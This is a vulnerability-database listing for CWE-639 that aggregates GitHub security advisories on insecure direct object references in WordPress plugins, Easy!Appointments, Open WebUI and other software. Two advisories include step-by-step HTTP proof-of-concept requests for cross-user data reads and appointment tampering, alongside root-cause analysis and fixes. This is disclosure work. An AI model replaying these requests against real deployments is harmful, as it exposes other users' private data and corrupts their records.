CWE-639
AllowedAuthorization Bypass Through User-Controlled Key
Abstraction: Base · Status: Incomplete
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
3824 vulnerabilities reference this CWE, most recent first.
GHSA-W7V8-FCM4-P35G
Vulnerability from github – Published: 2024-11-13 06:30 – Updated: 2024-11-13 06:30The Boostify Header Footer Builder for Elementor plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.3.6 via the 'bhf' shortcode due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from private or draft posts created via Elementor that they should not have access to.
{
"affected": [],
"aliases": [
"CVE-2024-10794"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-13T04:15:03Z",
"severity": "MODERATE"
},
"details": "The Boostify Header Footer Builder for Elementor plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.3.6 via the \u0027bhf\u0027 shortcode due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from private or draft posts created via Elementor that they should not have access to.",
"id": "GHSA-w7v8-fcm4-p35g",
"modified": "2024-11-13T06:30:29Z",
"published": "2024-11-13T06:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10794"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3185478/boostify-header-footer-builder/trunk/inc/class-boostify-header-footer-builder.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6e9f6d07-5ba5-48ad-bfcc-084913436b39?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W825-5MP6-XXG5
Vulnerability from github – Published: 2025-11-25 09:31 – Updated: 2026-04-08 18:33The Wishlist for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.0.9 via several functions in class-th-wishlist-frontend.php due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to modify other user's wishlists
{
"affected": [],
"aliases": [
"CVE-2025-12040"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-25T08:15:47Z",
"severity": "MODERATE"
},
"details": "The Wishlist for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.0.9 via several functions in class-th-wishlist-frontend.php due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to modify other user\u0027s wishlists",
"id": "GHSA-w825-5mp6-xxg5",
"modified": "2026-04-08T18:33:58Z",
"published": "2025-11-25T09:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12040"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3402486%40th-wishlist\u0026new=3402486%40th-wishlist\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/th-wishlist"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6d7c8f79-4dfd-4d6f-b533-dc7a5998dfc1?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W8GM-V2V6-G83P
Vulnerability from github – Published: 2022-06-10 00:00 – Updated: 2022-06-18 00:00An Insecure Direct Object Reference (IDOR) issue in fn2Web in ihb eG FlexNow before 2.04.09.016 allows remote authenticated attackers to obtain sensitive student information (final grades, study courses, degrees) by changing the student ID parameter in the HTTP POST request to the FrontControllerSS endpoint.
{
"affected": [],
"aliases": [
"CVE-2022-30760"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-09T16:15:00Z",
"severity": "MODERATE"
},
"details": "An Insecure Direct Object Reference (IDOR) issue in fn2Web in ihb eG FlexNow before 2.04.09.016 allows remote authenticated attackers to obtain sensitive student information (final grades, study courses, degrees) by changing the student ID parameter in the HTTP POST request to the FrontControllerSS endpoint.",
"id": "GHSA-w8gm-v2v6-g83p",
"modified": "2022-06-18T00:00:20Z",
"published": "2022-06-10T00:00:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30760"
},
{
"type": "WEB",
"url": "https://homepage.ruhr-uni-bochum.de/Christian.Krug-q97/CVE-2022-30760.html"
},
{
"type": "WEB",
"url": "https://wiki.ihb-eg.de/doku.php/releasenotes/fn2web2.04.09"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W8HP-6W9C-QP6H
Vulnerability from github – Published: 2026-06-15 21:30 – Updated: 2026-06-15 21:30Unauthenticated Sensitive Data Exposure in EmbedPress <= 4.5.2 versions.
{
"affected": [],
"aliases": [
"CVE-2026-48872"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-15T21:17:16Z",
"severity": "HIGH"
},
"details": "Unauthenticated Sensitive Data Exposure in EmbedPress \u003c= 4.5.2 versions.",
"id": "GHSA-w8hp-6w9c-qp6h",
"modified": "2026-06-15T21:30:48Z",
"published": "2026-06-15T21:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48872"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/embedpress/vulnerability/wordpress-embedpress-plugin-4-5-2-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W8W9-P22V-M9JP
Vulnerability from github – Published: 2026-03-16 15:30 – Updated: 2026-03-16 15:30The Wicked Folders – Folder Organizer for Pages, Posts, and Custom Post Types plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.1.0 via the delete_folders() function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Contributor-level access and above, to delete arbitrary folders created by other users.
{
"affected": [],
"aliases": [
"CVE-2026-1883"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-16T14:18:08Z",
"severity": "MODERATE"
},
"details": "The Wicked Folders \u2013 Folder Organizer for Pages, Posts, and Custom Post Types plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.1.0 via the delete_folders() function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Contributor-level access and above, to delete arbitrary folders created by other users.",
"id": "GHSA-w8w9-p22v-m9jp",
"modified": "2026-03-16T15:30:42Z",
"published": "2026-03-16T15:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1883"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3473857/wicked-folders"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5cec2c52-d780-4d94-a5b2-d3b405bce49c?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W8WF-CPH5-QR85
Vulnerability from github – Published: 2026-07-30 06:32 – Updated: 2026-07-30 21:31The Easy Appointments WordPress plugin through 3.12.26 does not verify ownership or capability when returning stored customer details, allowing users with subscriber-level access to read any customer's personal information by iterating an identifier.
{
"affected": [],
"aliases": [
"CVE-2026-14223"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-30T06:25:00Z",
"severity": "MODERATE"
},
"details": "The Easy Appointments WordPress plugin through 3.12.26 does not verify ownership or capability when returning stored customer details, allowing users with subscriber-level access to read any customer\u0027s personal information by iterating an identifier.",
"id": "GHSA-w8wf-cph5-qr85",
"modified": "2026-07-30T21:31:43Z",
"published": "2026-07-30T06:32:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14223"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/28b71d3e-5034-42d9-8044-68c90731d38f"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W8XC-8G92-V77H
Vulnerability from github – Published: 2026-07-29 16:26 – Updated: 2026-07-29 16:26Summary
Easy!Appointments correctly filters provider-scoped appointments in the appointments/search response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints appointments/store and appointments/update only check generic appointment privileges and never verify that the submitted id_users_provider belongs to the current session.
A normal authenticated provider can inject new appointments into another provider's schedule via store, or reassign existing appointments into a foreign provider's calendar via update. The store path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.
Root Cause — Step by Step Code Flow
Step 1 — Search correctly enforces provider isolation
The search endpoint filters out appointments belonging to other providers — proving provider isolation is an intended boundary:
// Appointments.php
if ($role_slug === DB_SLUG_PROVIDER) {
foreach ($appointments as $index => $appointment) {
if ((int) $appointment['id_users_provider'] !== (int) $user_id) {
unset($appointments[$index]);
}
}
}
Step 2 — store() only checks generic add permission
The store endpoint checks only whether the caller can add appointments in general — no provider ownership check:
// Appointments.php line 74-152
if (cannot('add', PRIV_APPOINTMENTS)) {
abort(403, 'Forbidden');
}
$appointment = json_decode(request('appointment'), true);
Step 3 — Attacker-controlled id_users_provider saved directly
The controller whitelists and persists the appointment including the attacker-controlled provider ID:
$this->appointments_model->only($appointment, $this->allowed_appointment_fields);
$appointment_id = $this->appointments_model->save($appointment);
No check is performed to verify id_users_provider matches the current session.
Step 4 — Write-before-crash on store()
After the unauthorized row is committed, the controller crashes on a type error:
$appointment = $this->appointments_model->find($appointment); // array passed instead of $appointment_id
The attacker receives a 500 error response, but the foreign appointment row is already in the database.
Step 5 — update() has the same missing ownership check
The update endpoint also accepts attacker-controlled id_users_provider with only a generic edit permission check:
// Appointments.php line 178-196
if (cannot('edit', PRIV_APPOINTMENTS)) {
abort(403, 'Forbidden');
}
$appointment = json_decode(request('appointment'), true);
$appointment_id = $this->appointments_model->save($appointment);
A provider can reassign any appointment they can edit into a foreign provider's calendar.
Proof of Concept
Attacker: Provider with session ID 4
Target: Foreign provider with ID 2
Step 1 — Inject appointment into foreign provider's schedule:
POST /index.php/appointments/store HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded
csrf_token=<token>&appointment={"start_datetime":"2026-05-29 15:00:00","end_datetime":"2026-05-29 15:30:00","notes":"foreign provider create by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}
Response: 500 Internal Server Error — type error on find()
But the row is committed:
id start_datetime id_users_provider notes
6 2026-05-29 15:00:00 2 foreign provider create by alicer
Provider 4 created a row that belongs to provider 2.
Step 2 — Reassign existing appointment to foreign provider:
POST /index.php/appointments/update HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded
csrf_token=<token>&appointment={"id":7,"start_datetime":"2026-05-30 09:00:00","end_datetime":"2026-05-30 09:30:00","notes":"reassigned to provider 2 by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}
Response: 200 OK
Result: Appointment 7 now belongs to provider 2 instead of provider 4.
Runtime verification result:
attacker provider id: 4
foreign created appointment provider id: 2
reassigned appointment provider id: 2
provider-visible appointments: 0
PASS
The attacker's appointment search returns 0 results because both proof appointments now belong to the foreign provider.
Real World Impact
In a multi-provider Easy!Appointments deployment — a clinic, salon, or service business with multiple staff members — any authenticated provider can:
- Inject fake appointments into a colleague's schedule causing confusion and double-bookings
- Move their own appointments into another provider's calendar to hide or offload them
- Disrupt scheduling integrity for staff and customers
- Create unauthorized appointments that customers and admins attribute to the wrong provider
The write-before-crash bug in
store()makes detection harder — the attacker receives an error response that may appear harmless while the unauthorized record is silently committed.
Suggested Fix
In store() and update(): Enforce that id_users_provider matches the current session provider ID for non-admin roles:
if ($role_slug === DB_SLUG_PROVIDER) {
$appointment['id_users_provider'] = $user_id; // force own provider ID
}
Fix the write-before-crash bug in store():
$appointment_id = $this->appointments_model->save($appointment);
$appointment = $this->appointments_model->find($appointment_id); // use ID not array
Reporter
Yash Shendge (ashrexon) 2026-05-25
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.5.2"
},
"package": {
"ecosystem": "Packagist",
"name": "alextselegidis/easyappointments"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52839"
],
"database_specific": {
"cwe_ids": [
"CWE-639",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T16:26:25Z",
"nvd_published_at": "2026-07-14T16:17:00Z",
"severity": "LOW"
},
"details": "## Summary\n \nEasy!Appointments correctly filters provider-scoped appointments in the `appointments/search` response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints `appointments/store` and `appointments/update` only check generic appointment privileges and never verify that the submitted `id_users_provider` belongs to the current session.\n \nA normal authenticated provider can inject new appointments into another provider\u0027s schedule via `store`, or reassign existing appointments into a foreign provider\u0027s calendar via `update`. The `store` path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.\n \n---\n \n## Root Cause \u2014 Step by Step Code Flow\n \n### Step 1 \u2014 Search correctly enforces provider isolation\nThe `search` endpoint filters out appointments belonging to other providers \u2014 proving provider isolation is an intended boundary:\n \n```php\n// Appointments.php\nif ($role_slug === DB_SLUG_PROVIDER) {\n foreach ($appointments as $index =\u003e $appointment) {\n if ((int) $appointment[\u0027id_users_provider\u0027] !== (int) $user_id) {\n unset($appointments[$index]);\n }\n }\n}\n```\n \n### Step 2 \u2014 store() only checks generic add permission\nThe store endpoint checks only whether the caller can add appointments in general \u2014 no provider ownership check:\n \n```php\n// Appointments.php line 74-152\nif (cannot(\u0027add\u0027, PRIV_APPOINTMENTS)) {\n abort(403, \u0027Forbidden\u0027);\n}\n \n$appointment = json_decode(request(\u0027appointment\u0027), true);\n```\n \n### Step 3 \u2014 Attacker-controlled id_users_provider saved directly\nThe controller whitelists and persists the appointment including the attacker-controlled provider ID:\n \n```php\n$this-\u003eappointments_model-\u003eonly($appointment, $this-\u003eallowed_appointment_fields);\n$appointment_id = $this-\u003eappointments_model-\u003esave($appointment);\n```\n \nNo check is performed to verify `id_users_provider` matches the current session.\n \n### Step 4 \u2014 Write-before-crash on store()\nAfter the unauthorized row is committed, the controller crashes on a type error:\n \n```php\n$appointment = $this-\u003eappointments_model-\u003efind($appointment); // array passed instead of $appointment_id\n```\n \nThe attacker receives a 500 error response, but the foreign appointment row is already in the database.\n \n### Step 5 \u2014 update() has the same missing ownership check\nThe update endpoint also accepts attacker-controlled `id_users_provider` with only a generic edit permission check:\n \n```php\n// Appointments.php line 178-196\nif (cannot(\u0027edit\u0027, PRIV_APPOINTMENTS)) {\n abort(403, \u0027Forbidden\u0027);\n}\n \n$appointment = json_decode(request(\u0027appointment\u0027), true);\n$appointment_id = $this-\u003eappointments_model-\u003esave($appointment);\n```\n \nA provider can reassign any appointment they can edit into a foreign provider\u0027s calendar.\n \n---\n \n## Proof of Concept\n \n**Attacker:** Provider with session ID `4`\n**Target:** Foreign provider with ID `2`\n \n**Step 1 \u2014 Inject appointment into foreign provider\u0027s schedule:**\n \n```http\nPOST /index.php/appointments/store HTTP/1.1\nHost: 127.0.0.1:18094\nCookie: \u003cprovider-4-session\u003e\nContent-Type: application/x-www-form-urlencoded\n \ncsrf_token=\u003ctoken\u003e\u0026appointment={\"start_datetime\":\"2026-05-29 15:00:00\",\"end_datetime\":\"2026-05-29 15:30:00\",\"notes\":\"foreign provider create by alicer\",\"id_users_provider\":2,\"id_users_customer\":3,\"id_services\":1}\n```\n \nResponse: `500 Internal Server Error` \u2014 type error on find()\n \n**But the row is committed:**\n```\nid start_datetime id_users_provider notes\n6 2026-05-29 15:00:00 2 foreign provider create by alicer\n```\n \nProvider 4 created a row that belongs to provider 2.\n \n---\n \n**Step 2 \u2014 Reassign existing appointment to foreign provider:**\n \n```http\nPOST /index.php/appointments/update HTTP/1.1\nHost: 127.0.0.1:18094\nCookie: \u003cprovider-4-session\u003e\nContent-Type: application/x-www-form-urlencoded\n \ncsrf_token=\u003ctoken\u003e\u0026appointment={\"id\":7,\"start_datetime\":\"2026-05-30 09:00:00\",\"end_datetime\":\"2026-05-30 09:30:00\",\"notes\":\"reassigned to provider 2 by alicer\",\"id_users_provider\":2,\"id_users_customer\":3,\"id_services\":1}\n```\n \nResponse: `200 OK`\n \n**Result:** Appointment 7 now belongs to provider 2 instead of provider 4.\n \n**Runtime verification result:**\n```\nattacker provider id: 4\nforeign created appointment provider id: 2\nreassigned appointment provider id: 2\nprovider-visible appointments: 0\nPASS\n```\n \nThe attacker\u0027s appointment search returns 0 results because both proof appointments now belong to the foreign provider.\n \n---\n \n## Real World Impact\n \nIn a multi-provider Easy!Appointments deployment \u2014 a clinic, salon, or service business with multiple staff members \u2014 any authenticated provider can:\n \n- Inject fake appointments into a colleague\u0027s schedule causing confusion and double-bookings\n- Move their own appointments into another provider\u0027s calendar to hide or offload them\n- Disrupt scheduling integrity for staff and customers\n- Create unauthorized appointments that customers and admins attribute to the wrong provider\nThe write-before-crash bug in `store()` makes detection harder \u2014 the attacker receives an error response that may appear harmless while the unauthorized record is silently committed.\n \n---\n \n## Suggested Fix\n \n**In `store()` and `update()`:** Enforce that `id_users_provider` matches the current session provider ID for non-admin roles:\n \n```php\nif ($role_slug === DB_SLUG_PROVIDER) {\n $appointment[\u0027id_users_provider\u0027] = $user_id; // force own provider ID\n}\n```\n \n**Fix the write-before-crash bug in `store()`:**\n \n```php\n$appointment_id = $this-\u003eappointments_model-\u003esave($appointment);\n$appointment = $this-\u003eappointments_model-\u003efind($appointment_id); // use ID not array\n```\n \n---\n \n## Reporter\n**Yash Shendge (ashrexon)**\n2026-05-25",
"id": "GHSA-w8xc-8g92-v77h",
"modified": "2026-07-29T16:26:25Z",
"published": "2026-07-29T16:26:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-w8xc-8g92-v77h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52839"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/commit/725eafa647308846ce887657db12771a829e42ef"
},
{
"type": "PACKAGE",
"url": "https://github.com/alextselegidis/easyappointments"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Easy!Appointments appointments/store and appointments/update allow cross-provider appointment injection \u2014 Authorization Bypass"
}
GHSA-W925-7C2X-WMJ7
Vulnerability from github – Published: 2026-07-23 12:32 – Updated: 2026-07-23 12:32Contributor Insecure Direct Object References (IDOR) in Product Slider for WooCommerce <= 1.13.62 versions.
{
"affected": [],
"aliases": [
"CVE-2026-65456"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-23T12:18:38Z",
"severity": "MODERATE"
},
"details": "Contributor Insecure Direct Object References (IDOR) in Product Slider for WooCommerce \u003c= 1.13.62 versions.",
"id": "GHSA-w925-7c2x-wmj7",
"modified": "2026-07-23T12:32:27Z",
"published": "2026-07-23T12:32:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65456"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/woocommerce-products-slider/vulnerability/wordpress-product-slider-for-woocommerce-plugin-1-13-62-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W99J-CV6Q-Q3W7
Vulnerability from github – Published: 2025-09-30 12:30 – Updated: 2025-10-08 18:30Insecure Direct Object Reference (IDOR) vulnerability in BOLD Workplanner in versions prior to 2.5.25 (4935b438f9b), consisting of a lack of adequate validation of user input, allowing an authenticated user to access to planning counter details using unauthorised internal identifiers.
{
"affected": [],
"aliases": [
"CVE-2025-41095"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-30T11:37:40Z",
"severity": "HIGH"
},
"details": "Insecure Direct Object Reference (IDOR) vulnerability in BOLD Workplanner in versions prior to 2.5.25 (4935b438f9b), consisting of a lack of adequate validation of user input, allowing an authenticated user to\u00a0access to planning counter details using unauthorised internal identifiers.",
"id": "GHSA-w99j-cv6q-q3w7",
"modified": "2025-10-08T18:30:15Z",
"published": "2025-09-30T12:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41095"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/insecure-direct-object-reference-gps-bold-workplanner"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W9F8-GXF9-RHVW
Vulnerability from github – Published: 2026-03-27 15:35 – Updated: 2026-03-27 15:35Summary
Any authenticated user can read other users' private memories via /api/v1/retrieval/query/collection
Details
Vulnerability 1: Missing authorization in collection querying
In backend/open_webui/routers/retrieval.py, the query_collection_handler function accepts a list of collection_names but performs no ownership validation:
async def query_collection_handler(
request: Request,
form_data: QueryCollectionsForm,
user=Depends(get_verified_user), # Only checks authentication, not authorization
):
Collection names follow predictable patterns:
- User files: file-{FILE_UUID}
- User memories: user-memory-{USER_UUID} (requires Memory experimental feature)
PoC
Environment: Open WebUI v0.8.3, default configuration. Setup: 1. Register two users: admin (first user) and attacker (second user). 2. As admin, upload a PDF document through chat. 3. As admin, enable Memory (Settings → Personalization → Memory) and add some memories.
Exploitation — Step 1: Enumerate all users
GET /api/v1/users/search HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Response reveals all users including admin's UUID, email, and role:
{
"users": [
{
"id": "1e4756eb-b064-4781-8b06-4979bca59c8b",
"name": "user",
"email": "user@test.com",
"role": "user"
},
{
"id": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
"name": "admin",
"email": "admin@test.com",
"role": "admin"
}
]
}
Exploitation — Step 2: Read admin's memories
Using the admin UUID obtained in Step 1, query their private memory collection:
POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json
{
"collection_names": ["user-memory-<admin_UUID_from_step_1>"],
"query": "test"
}
Response returns admin's private memories:
{
"documents": [["User is testing IDOR", "User - Mariusz, security researcher"]]
}
Note: Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.
Exploitation — Step 3: Read admin's private file (Vulnerability 1)
File collections use the pattern file-{FILE_UUID}. The file UUID must be obtained separately. Once known:
POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json
{
"collection_names": ["file-<file_UUID>"],
"query": "test"
}
Response returns admin's private document content and full metadata:
{
"documents": [["Test PDF \nabc \nbcd"]],
"metadatas": [[{
"name": "Test PDF.pdf",
"author": "Mariusz Maik",
"created_by": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
"file_id": "243bee10-49ad-466f-884b-67b6b3d74968"
}]]
}
Impact
- Document theft: Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.
- User enumeration: All user UUIDs, emails, names, and roles are exposed to any authenticated user via
/api/v1/users/search. - Memory leakage: When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user — directly contradicting the official documentation.
- No admin privileges required: A regular user account is sufficient to exploit all of the above.
Suggested Fix
1. Add ownership validation in /api/v1/retrieval/query/collection:
async def query_collection_handler(
request: Request,
form_data: QueryCollectionsForm,
user=Depends(get_verified_user),
):
for collection_name in form_data.collection_names:
if collection_name.startswith("user-memory-"):
owner_id = collection_name.replace("user-memory-", "")
if owner_id != user.id and user.role != "admin":
raise HTTPException(status_code=403, detail="Access denied")
elif collection_name.startswith("file-"):
file_id = collection_name.replace("file-", "")
# user_has_access_to_file — placeholder; verify file ownership
# e.g. check if created_by matches user.id
if not user_has_access_to_file(user.id, file_id):
raise HTTPException(status_code=403, detail="Access denied")
2. Restrict /api/v1/users/search to admin-only or limit the fields returned to non-privileged users.
Disclosure
AI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.5"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29071"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T15:35:49Z",
"nvd_published_at": "2026-03-27T00:16:22Z",
"severity": "LOW"
},
"details": "### Summary\nAny authenticated user can read other users\u0027 private memories via `/api/v1/retrieval/query/collection`\n\n### Details\n**Vulnerability 1: Missing authorization in collection querying**\n\nIn `backend/open_webui/routers/retrieval.py`, the `query_collection_handler` function accepts a list of `collection_names` but performs no ownership validation:\n\n```python\nasync def query_collection_handler(\n request: Request,\n form_data: QueryCollectionsForm,\n user=Depends(get_verified_user), # Only checks authentication, not authorization\n):\n```\n\nCollection names follow predictable patterns:\n- User files: `file-{FILE_UUID}`\n- User memories: `user-memory-{USER_UUID}` (requires Memory experimental feature)\n\n### PoC\n**Environment:** Open WebUI v0.8.3, default configuration.\n**Setup:**\n1. Register two users: admin (first user) and attacker (second user).\n2. As admin, upload a PDF document through chat.\n3. As admin, enable Memory (Settings \u2192 Personalization \u2192 Memory) and add some memories.\n\n**Exploitation \u2014 Step 1: Enumerate all users**\n\n```\nGET /api/v1/users/search HTTP/1.1\nHost: \u003ctarget\u003e\nAuthorization: Bearer \u003cattacker_token\u003e\n```\n\nResponse reveals all users including admin\u0027s UUID, email, and role:\n\n```json\n{\n \"users\": [\n {\n \"id\": \"1e4756eb-b064-4781-8b06-4979bca59c8b\",\n \"name\": \"user\",\n \"email\": \"user@test.com\",\n \"role\": \"user\"\n },\n {\n \"id\": \"81d2f94a-3dfb-479c-af98-e29f0f40c4ba\",\n \"name\": \"admin\",\n \"email\": \"admin@test.com\",\n \"role\": \"admin\"\n }\n ]\n}\n```\n\n\u003cimg width=\"1340\" height=\"731\" alt=\"1poc - users\" src=\"https://github.com/user-attachments/assets/46d1cb64-2f84-480e-b887-819008ddabc9\" /\u003e\n\n**Exploitation \u2014 Step 2: Read admin\u0027s memories**\n\nUsing the admin UUID obtained in Step 1, query their private memory collection:\n\n```\nPOST /api/v1/retrieval/query/collection HTTP/1.1\nHost: \u003ctarget\u003e\nAuthorization: Bearer \u003cattacker_token\u003e\nContent-Type: application/json\n\n{\n \"collection_names\": [\"user-memory-\u003cadmin_UUID_from_step_1\u003e\"],\n \"query\": \"test\"\n}\n```\n\nResponse returns admin\u0027s private memories:\n\n```json\n{\n \"documents\": [[\"User is testing IDOR\", \"User - Mariusz, security researcher\"]]\n}\n```\n\n\u003cimg width=\"1285\" height=\"606\" alt=\"2poc - memory\" src=\"https://github.com/user-attachments/assets/eac7c129-dcad-4afd-9449-2ca93b19e082\" /\u003e\n\n**Note:** Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.\n\n**Exploitation \u2014 Step 3: Read admin\u0027s private file (Vulnerability 1)**\n\nFile collections use the pattern `file-{FILE_UUID}`. The file UUID must be obtained separately. Once known:\n\n```\nPOST /api/v1/retrieval/query/collection HTTP/1.1\nHost: \u003ctarget\u003e\nAuthorization: Bearer \u003cattacker_token\u003e\nContent-Type: application/json\n\n{\n \"collection_names\": [\"file-\u003cfile_UUID\u003e\"],\n \"query\": \"test\"\n}\n```\n\nResponse returns admin\u0027s private document content and full metadata:\n\n```json\n{\n 